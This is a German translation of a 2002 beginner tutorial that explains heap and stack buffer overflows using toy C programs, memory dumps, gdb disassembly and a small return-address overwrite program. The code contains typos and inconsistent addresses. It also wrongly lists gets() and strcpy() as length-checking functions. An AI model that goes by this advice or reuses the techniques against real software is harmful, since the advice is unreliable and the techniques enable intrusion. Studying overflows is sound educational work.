Vorwort :
Sollte ich Fehler bei der Übersetzung gemacht haben,so kontaktiert
mich bitt per Mail oder ICQ
Dieser Text darf frei weiter verteilt werden,so lange der Inhalt
nicht verändert wird.
Einleitung :
Ich werde euch hier erklären was ein Bufferoverflow ist,wie
man sie entdeckt ob Programme
anfällig sind.Dieses Tutorials beinhaltet C quellcodes, solltet
ihr daher kein C können,werdet
ihr auf Probleme stossen, ihr solltet euch einige Erfahrung in Assembler
und gdb haben.
ICh hab versucht es so einfach wie möglich zu schreiben,aber
dies ist keines von diesen Tutorias,
wo ihr ahnungslos anfangt zu lesen und wen ihr fertig wisst ihr
alles.Es braucht seine Zeit bis man
so etwas versteht, und ich hab mir mühe gegeben.
Eine kleine bemerkung,wie jeder der das hier ist will auch ich lernen,also
sagte ich mir vor ein
paar Wochen "Hey,wie fange ich nicht einfach an, paar Texte
über Buffer Overflows zu lesen,nun weiss
ich grob wie alles funktioniert", also fing ich an mit dem
lernen, nun versuche ich mein wissen,an jeden
der sich dafür interessiert weiter zu geben.Es wird also keiner
von diesen Texten sein,wo du alles lernst,
es verschafft dir einen Einblick, wie der Titel schon sagt, eine
Einleitung. ( Am ende werde ich euch
ein paar nette Texte geben).Wen du irgendwelche Fragen hast,dann
poste diese in unser Forum, wen du
Fehler entdeckt hast,dann schick mir eine Mail und ich werde sie
berichtigen.Viel Spass.
Exploit ?
Eigentlich weiss jeder was ein Exploit ist.Aber bedenkt, das die
jenigen die sich grad in die Welt
der Security trauen, eigentlich keine Ahnung davon haben.Daher habe
ich dieses Tutorial geschrieben.
Also für die jenigen die es nicht wissen, ein Exploit ist ein
Programm,meisten in C geschrieben,es
nutzt fehler in anderen Programmen aus.Das Exploit ermöglicht
euch, Befehle auf einem System aus zu führen,
welche ihr in einem normalen Status nicht erfüllen könntet.
Jetzt nennen wir diese Exploits Buffer Overflow Exploits.Was das
ist fragst du dich ? Warte es ab.
Dies ist das, worum es in diesem Tutorial geht.
Eine andere Sache die du wissen solltest ist,das jeder weiss wie
man ein Exploit anwendet
( was glaubst du,wieso so viele Internetseiten attackiert wurden
), die Scipt Kiddies gehen einfach
auf Seiten wie security focus, packetstorm oder fyodor´s exploit
world, laden sich ein runter
und benutzen es.Aber wieso schreibt nicht jeder Explits ? Nun, die
meisten wissen nicht wie man
Schwachstellen in einem quellcode findet, oder sie sind einfach
unfähig ein exploit zu schrieben.
Nun wo du weisst was ein Exploit ist,lass und weiter zu der Buffer
Overflow Section gehen.
Buffer Overflow was ist das ?
Wie schon gesagt sind die meisten Exploits Buffer Overflow exploits.Vielleicht
denkst du dir jetzt :
"Boahhh, dieser penner redet um den heissen Brei rum, aber
er sagt einfach nicht was ein Buffer Overflow ist".
Also lasst und darüber reden.Ein Buffer Overflow ist plaziert
in Speicher wo die Daten abgelegt werden.
Wieso fragst du dich ?Weil buffer oferflows spezielle Plätze
im Speicher überschreiben,mit etwas was du willst,
das bewegt das Programm etwas zu tun was du willst.Manche von euch
denken sich jetzt "WoW2, ich weiss
wie ein Buffer Overflow funktioniert, aber du weisst immer noch
nicht wie du sie schreibst.
Lass uns ein Programm analysieren und finde raus wo der Buffer
Overflow ist
--------- Code ----------
main(int argc, char **argv) {
char *somevar;
char *important;
somevar = (char *)malloc(sizeof(char)*4);
important = (char *)malloc(sizeof(char)*14);
strcpy(important, "command"); /*Das ist das wichtigste
variable*/
stcrpy(somevar, argv[1]);
..... Code here ....
}
.... andere Funktionen hier ....
------- Code Ende ----------
Nehmen wir mal an, das wichtige Variablen Befehle speicher wie
z.B. "chmod o-r File", dieses Programm
gehört zu root und läuft unter root,das heisst,wen du
an das Programme Befehle senden kannst,kannst du
jeden Befehl ausführen.Also überlegst du.Wie zum Teufel
kann ich das was ich möchte in die Variablen
speichern.Nun, du musst den Speicher überschreiben, so kannst
du variablen überschreiben.Aber lasst uns
mal die Speicher Adressen anschauen.Um dies zu machen, musst du
den Code umschrieben.
------- Code -------
main (int argc, char **argv) {
char *somevar;
char *important;
somevar=(char *)malloc(sizeof(char)*4);
important=(char *)malloc(sizeof(char)*14);
printf("%p\n%p", somevar, important);
exit(0);
}
------- CODE ENDE -------
So, wir haben 2 Zeilen hinzugefügt und den rest unverändert
gelassen.Lass uns mal schauen was die beiden
Zeilen machen.Das printf("&p\n%p",somevar,important);
gibt die Adresse für die Variablen somevar und
important aus.Das exit(0); beendet das Programm einfach.Dein Ziel
hast du nun erreicht, du weisst wo
die Variablen gespeichert sind.Nachdem das Programm gestartet wurde,
bekommst du eine Ausgabe wie diese :
0x8049700 <----- Die Adresse von somevar
0x8049710 <----- Die Adresse von important
( Du wirst andere Adressen bekommen )
Wie wir sehen kommt die important variabel nach somevar, das lässt
uns unseren Buffer Overflow
besser vorbereiten, somevar bekommt seinen Wert von argv[1].Nun
wissen wir, das eine Variablen der anderen
folgt, aber lasst uns jede Adresse überprüfen, so haben
wir einen besseren Überblick des Speichers.
---- CODE -----
main(int argc, char **argv) {
char *somevar;
char *important;
char *temp;
somevar=(char *)malloc(sizeof(char)*4);
important=(char *)malloc(sizeof(char)*14);
strcpy(important, "command"); /* Dies ist wichtig
stcrpy(str, argv[1]);
printf("%p\n%p\n", somevar, important);
printf("Starting To Print memory address:\n");
temp = somevar; /* dies wird tmp an die Speicher Adresse packen,die
wir wollen
while(temp < important + 14) {
/* Die schleife wird unterbrochen wen die letzte Adresse erreicht
ist,in diesem fall important */
printf("%p: %c (0x%x)\n", temp, *temp, *(unsigned int*)temp);
temp++;
}
exit(0);
}
------CODE ENDE ------
Sagen wir nun, das argv[1] im normalen Status gesendet wird.Also
tippe ein $ program_name send
0x8049700
0x8049710
Starte Ausgabe der Adressem
0x8049700: s (0x616c62)
0x8049701: e (0x616c)
0x8049702: n (0x61) Jede Leine zeigt eine Speicherzelle an
0x8049703: d (0x0)
0x8049704: (0x0)
0x8049705: (0x0)
0x8049706: (0x0)
0x8049707: (0x0)
0x8049708: (0x0)
0x8049709: (0x19000000)
0x804970a: (0x190000)
0x804970b: (0x1900)
0x804970c: (0x19)
0x804970d: (0x63000000)
0x804970e: (0x6f630000)
0x804970f: (0x6d6f6300)
0x8049710: c (0x6d6d6f63)
0x8049711: o (0x616d6d6f)
0x8049712: m (0x6e616d6d)
0x8049713: m (0x646e616d)
0x8049714: a (0x646e61)
0x8049715: n (0x646e)
0x8049716: d (0x64)
0x8049717: (0x0)
0x8049718: (0x0)
0x8049719: (0x0)
0x804971a: (0x0)
0x804971b: (0x0)
0x804971c: (0x0)
0x804971d: (0x0)
$
Nett nicht wahr ? Du siehst das da 12 leere Speicher Adressen zwischen
somevar und important existieren.
Nehmen wir an,du startest das Programm mit einem Befehl wie :
$ program_name send------------newcommand
Du bekommst eine Ausgabe wie diese :
0x8049700
0x8049710
Starte Ausgabe :
0x8049700: s (0x646e6573)
0x8049701: e (0x2d646e65)
0x8049702: n (0x2d2d646e)
0x8049703: d (0x2d2d2d64)
0x8049704: - (0x2d2d2d2d)
0x8049705: - (0x2d2d2d2d)
0x8049706: - (0x2d2d2d2d)
0x8049707: - (0x2d2d2d2d)
0x8049708: - (0x2d2d2d2d)
0x8049709: - (0x2d2d2d2d)
0x804970a: - (0x2d2d2d2d)
0x804970b: - (0x2d2d2d2d)
0x804970c: - (0x2d2d2d2d)
0x804970d: - (0x6e2d2d2d)
0x804970e: - (0x656e2d2d)
0x804970f: - (0x77656e2d)
0x8049710: n (0x6377656e) <---Speicher Adresse wo important variablen
starten
0x8049711: e (0x6f637765)
0x8049712: w (0x6d6f6377)
0x8049713: c (0x6d6d6f63)
0x8049714: o (0x616d6d6f)
0x8049715: m (0x6e616d6d)
0x8049716: m (0x646e616d)
0x8049717: a (0x646e61)
0x8049718: n (0x646e)
0x8049719: d (0x64)
0x804971a: (0x0)
0x804971b: (0x0)
0x804971c: (0x0)
0x804971d: (0x0)
Der neue Befehl überschrieb den alten Befehl.Das Programm hat
es getan was du wolltest, obwohl das Programm
was anderes machen sollte.
Lasst und nun kurz überlegen.Wieso ist dies passiert ? Wie
du siehst ist im quellcode somevar früher
deklariert als important,das führt dazu das somevar früher
im Speicher ist.Nun lasst uns prüfen, wie
jede Variable ihren Wert bekommen hat.somevar hat ihren Wert von
argv[1] bekommen und important hat ihren
von der strcpy() Funktion bekommen, aber das eigentliche Problem
ist,das der important Wert als erstes deklariert wird,
als der somevar,daher ist es möglich important zu überschreiben.Das
Programm sollte verändert
werden,damit dieser Buffer Overflow nicht mehr wirksam ist :
strcpy(somevar, argv[1]);
strcpy(important, "command");
Wen du nun ein Argument eingibst, wird es in die Speicher Adresse
von Important geschrieben,es wird
dann überschrieben mit dem echten Befehl, nachdem somevar einen
Wert bekommen hat, wird der Wert important
zu gewiesen.
Diese Art von Buffer Overflows, ein ein heap Buffer Overflow.Wie
du selbser gemerkt hast, ist es einfach
dies in der Teorrie zu machen,aber in der praxis sieht es schon
ganz anders aus.Nachdem ist soviel erzählt
hab war das Programm eigentlich dumm oder nicht ? Es ist echt schwer,
wichtige Variablen zu finden und
diese zu überschreiben.Daher sprechen wir jetzt mal über
stack buffer overflows.
Eine kleine neben Bemerkung :
Im letzten Abschnitt habe ich über stack und heap erzählt.Falls
du nicht weisst was das ist, hier
eine kleine Erklärung :
heap - es ist der Speicher den du für eine Variable reservierst
( dies tust du immer wen du die Funktion
malloc benutzt ).
stack - Es ist der Rückgabewert einer Funktion.Wen du versucht
den stack zu überschreiben,so
überschreibst du den Rückgabewert, das Programm springt
zu einer Speicherzelle wo deine Befehle
stehen.
Also lasst und über den stack reden.Hier startet der Teil,der
mir die meisten probleme bereit hat und
immer noch bereitet.Hier müssen wir mit ASM arbeiten und mit
gdb ( irgendwann wird es einer deiner besten
Freunde sein ).
Wir sprechen nun über smashing the Stack, es basiert auf einer
Art von "attacke" die den Rückgabewert (RET) ändert.
Wen du dies tust, kannst du den Rückgabewert so verändern,das
er zu einer Adresse zeigt,wo ein Befehl steht,den
du ausführen möchtest.Wie beim heap overflow.Nun ein quellcode
:
exploit(char *this) {
char string[20];
strcpy(string,this);
printf("%s\n", string);
}
main(int argc, char *argv[]) {
exploit(argv[1]);
}
Nun versuchen wir 2 mal die exploit funktion auszuführen.Wie
machen wir das ? Als erster müssen wir ein paar nette
Adressen finden.Lasst uns jetzt gdb benutzen.Als erster complimieren
wir.
$ gcc stack.c -o stack
$ gdb stack
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc. GDB is free software,
covered by the GNU General Public License, and you are welcome to
change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty"
for details. This GDB was configured as "i586-suse-linux-gnu"...
(gdb)
Nun disassemblieren wir main.Um dies zu tun, tippen wir einfach
disassemble ( du kannst auch disas eintippen ) main
(gdb) disas main
0x8048440 <main>: push %ebp
0x8048441 <main+1>: mov %esp,%ebp
0x8048443 <main+3>: mov 0xc(%ebp),%eax
0x8048446 <main+6>: add $0x4,%eax
0x8048449 <main+9>: mov (%eax),%edx
0x804844b <main+11>: push %edx
0x804844c <main+12>: call 0x8048410 <exploit>
0x8048451 <main+17>: add $0x4,%esp
0x8048454 <main+20>: mov %ebp,%esp
0x8048456 <main+22>: pop %ebp
0x8048457 <main+23>: ret
Hier sind paar "nops".Diese stehen für no operation,also
nichts zu tun.
Kurze Überlegung :
Wie wir sehen,wird exploit bei 0x804845c aufgerufen, die Adresse
ist 0x8048410.
Zurück zu gdb :
gdb) disas exploit
Ende von assembler dump.
(gdb)
0x8048410 <exploit>: push %ebp
0x8048411 <exploit+1>: mov %esp,%ebp
0x8048413 <exploit+3>: sub $0x14,%esp
0x8048416 <exploit+6>: mov 0x8(%ebp),%eax
0x8048419 <exploit+9>: push %eax
0x804841a <exploit+10>: lea 0xffffffec(%ebp),%eax
0x804841d <exploit+13>: push %eax
0x804841e <exploit+14>: call 0x8048340 <strcpy>
0x8048423 <exploit+19>: add $0x8,%esp
0x8048426 <exploit+22>: lea 0xffffffec(%ebp),%eax
0x8048429 <exploit+25>: push %eax
0x804842a <exploit+26>: push $0x80484bc
0x804842f <exploit+31>: call 0x8048330 <printf>
0x8048434 <exploit+36>: add $0x8,%esp
0x8048437 <exploit+39>: mov %ebp,%esp
0x8048439 <exploit+41>: pop %ebp
0x804843a <exploit+42>: ret
(gdb) x/3bc 0x80484bc
0x80484bc <_IO_stdin_used+4>: 37 '%' 115 's' 10 '\n'
(gdb)
(gdb) quit
$
Zurück zum prompt
Unser Ziel :
Unser Ziel ist es den Rückgabewert von exploit() nach exploit()
und dann nach main() zu schreiben.Also,wir können wir das machen
?
Nun unser erster Anhaltspukt ist,
Um dies zu machen müssen wir den Rückgabewert (RET) ändern,dies
machen wir in gdb :
0x804844c <main+3>: call 0x8048410 <exploit>
Nun die Frage.In dieser wichtigen Zeile haben wir 2 Adressen,welche
sollen wir benutzen ? Nun,ganz einfach, du musst
0x80488c nehmen weil es die einzige ist, die exploit() aufruft,
wen du 0x8048410 benutzen würdest, würde es nichts bringen,
also :
0x8048410 <exploit>: push %ebp
----- CODE -----
#include <stdio.h>
main() {
char buf[28];
int i;
for(i=0; i<24; i+=4) *(long *)&buf[i] = 0x61616161;
*(long *)&buf[24] = 0x0804844c;
*(long *)&buf[28] = 0x0;
execv("./stack2", buf);
}
---- CODE ENDE --------
Wen wir diestun,überschreiben wir den Rückgabewert von
0x804844c und rufen die Funktion exploit() auf.Dies wird eine
endschloss Schleife aurrufen.Wieso konnten wir das Programm exploiten
? Nun,die länge des String den wir übergeben haben
wurde nicht geprüft.Nun hier ein Hinweis wie sie den code sichere
machen können, benutze ur Funktionen welche die länge
von Strings überprüfen, mit fgets(), strncpy() oder gets(),strcpy()
und so weiter.
gdb tip :
Willst du sehen wie ein exploit ein verletztbares Programm infiziert.Tippe
in gdb folgendes ein :
(gdb) exec exploit
(gdb) symbol-file vunerable_programm
Nun kannst du sehen,was das exploit macht, und wen du probleme
hast,kannst du diese verändern.
Abschluss Satz :
Nun hier sind wir schon am ende.Ich hoffe ich habe dir geholfen....,
ich habe dieses Tutorial einwenig abgeändert,
aber es hat immer noch nicht alles was ich sagen wollte.Aber es
ist besser das zu sagen was ich weiss anstatt das wo ich mir
nicht 100% sicher bin.Wen du in diesem Tutorial etwas findest was
nicht passt, benachrichtige mich bitte per E-Mail.
Weitere Texte :
- Omega Project by Lamagra
- Advanced buffer overflow exploit by Taeho Oh
- Smashing The Stack For Fun And Profit by Aleph One
Diese 3 Texte geben dir die meisten Infos.Sie haben mir sehr geholfen...
Ihr findet sie bei packetstorm.securify.com
--------------------------------------------------------------------------------
Dieses Tutorial ist eigentum der german security crew : www.securecrew.de
Dieses Tutorial darf frei veröffentlicht werden,solange der
Inhalt nicht verfälscht wird.
copyright by Akkad 2002
|